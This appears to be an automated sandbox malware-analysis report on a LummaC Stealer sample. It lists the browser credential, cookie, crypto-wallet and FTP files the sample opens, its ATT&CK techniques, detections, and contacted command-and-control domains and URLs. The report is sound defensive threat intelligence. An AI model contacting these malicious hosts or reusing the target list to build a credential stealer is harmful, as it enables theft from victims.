Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\WSHEJMDVQC	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\WSHEJMDVQC	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1211132418.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: random.exe PID: 6452, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: Process Memory Space: random.exe PID: 6452, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	44 Virtualization/Sandbox Evasion	2 OS Credential Dumping	851 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	44 Virtualization/Sandbox Evasion	Remote Desktop Protocol	41 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	223 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
random.exe	47%	Virustotal		Browse
random.exe	50%	ReversingLabs	Win32.Trojan.LummaStealer
random.exe	100%	Avira	TR/Crypt.XPACK.Gen

Source	Detection	Scanner	Label
sterpickced.digital/plSOz	100%	Avira URL Cloud	malware
http://crl.microsoft.	0%	Avira URL Cloud	safe
https://gogetxto.life/P	0%	Avira URL Cloud	safe
absoulpushx.life/QZwszc	100%	Avira URL Cloud	malware
https://gogetxto.life/9	0%	Avira URL Cloud	safe
https://gogetxto.life/Aosn	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
steamcommunity.com	23.197.127.21	true	false	high
gogetxto.life	172.67.140.127	true	false	unknown
modelshiverd.icu	unknown	unknown	false	high
garagedrootz.top	unknown	unknown	false	high
fostinjec.today	unknown	unknown	false	high
catterjur.run	unknown	unknown	false	high
absoulpushx.life	unknown	unknown	false	high
sterpickced.digital	unknown	unknown	false	high
arisechairedd.shop	unknown	unknown	false	high
orangemyther.live	unknown	unknown	false	high
begindecafer.world	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
sterpickced.digital/plSOz	true	Avira URL Cloud: malware	unknown
absoulpushx.life/QZwszc	true	Avira URL Cloud: malware	unknown
orangemyther.live/IozZ	false		high
modelshiverd.icu/bJhnsj	false		high
https://gogetxto.life/Aosn	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199822375128	false		high
begindecafer.world/QwdZdf	false		high
garagedrootz.top/oPsoJAN	false		high
arisechairedd.shop/JnsHY	false		high
catterjur.run/boSnzhu	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://player.vimeo.com	random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com/3q-O	random.exe, 00000000.00000003.1207137193.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167168327.00000000052F7000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1224632852.00000000052FA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1180038198.00000000052E6000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1180108734.00000000052F7000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1249906130.00000000052FA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248494417.00000000052FA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167060919.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1180376122.00000000052F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	random.exe, 00000000.00000003.1124246645.0000000005329000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=47omfdMZRDiz&l=engli	random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/?subsection=broadcasts	random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1180376122.0000000005305000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1280998414.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293767313.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207105013.00000000053F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=oQ1d_VAfa_o	random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248494417.0000000005326000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1318981349.0000000005323000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1208523472.0000000005327000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1181511042.0000000005323000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1224632852.0000000005326000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.00000000052FC000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138655767.00000000052EF000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=N4H9vOOxi8kG&l=english&am	random.exe, 00000000.00000003.1179998048.0000000005330000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207137193.0000000005330000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248494417.0000000005326000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1318981349.0000000005323000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1250032996.00000000052E3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138681413.00000000052EC000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1208523472.0000000005327000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1181511042.0000000005323000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1224632852.0000000005326000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.00000000052FC000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000002.1329437229.00000000053E0000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://store.steampowered.com/subscriber_agreement/	random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1280998414.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293767313.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207105013.00000000053F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.gstatic.cn/recaptcha/	random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199822375128/badges	random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308047617.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308124670.0000000000BCB000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1149947996.00000000052E4000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122560402.0000000000BB0000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C2B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111936216.0000000000BAF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199822375128/inventory/	random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308047617.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1149947996.00000000052E4000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C2B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000002.1320736870.0000000000BC9000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.valvesoftware.com/legal.htm	random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1280998414.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293767313.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207105013.00000000053F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&a	random.exe, 00000000.00000003.1179998048.0000000005330000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207137193.0000000005330000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248494417.0000000005326000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207410994.00000000053F8000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1318981349.0000000005323000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1208523472.0000000005327000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1181511042.0000000005323000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1224632852.0000000005326000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.00000000052FC000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138655767.00000000052EF000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com	random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/pub	random.exe, 00000000.00000003.1149929023.00000000052EB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com/login/home/?goto=profiles%2F76561199822375128	random.exe, 00000000.00000003.1207105013.00000000053F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com	random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	false		high
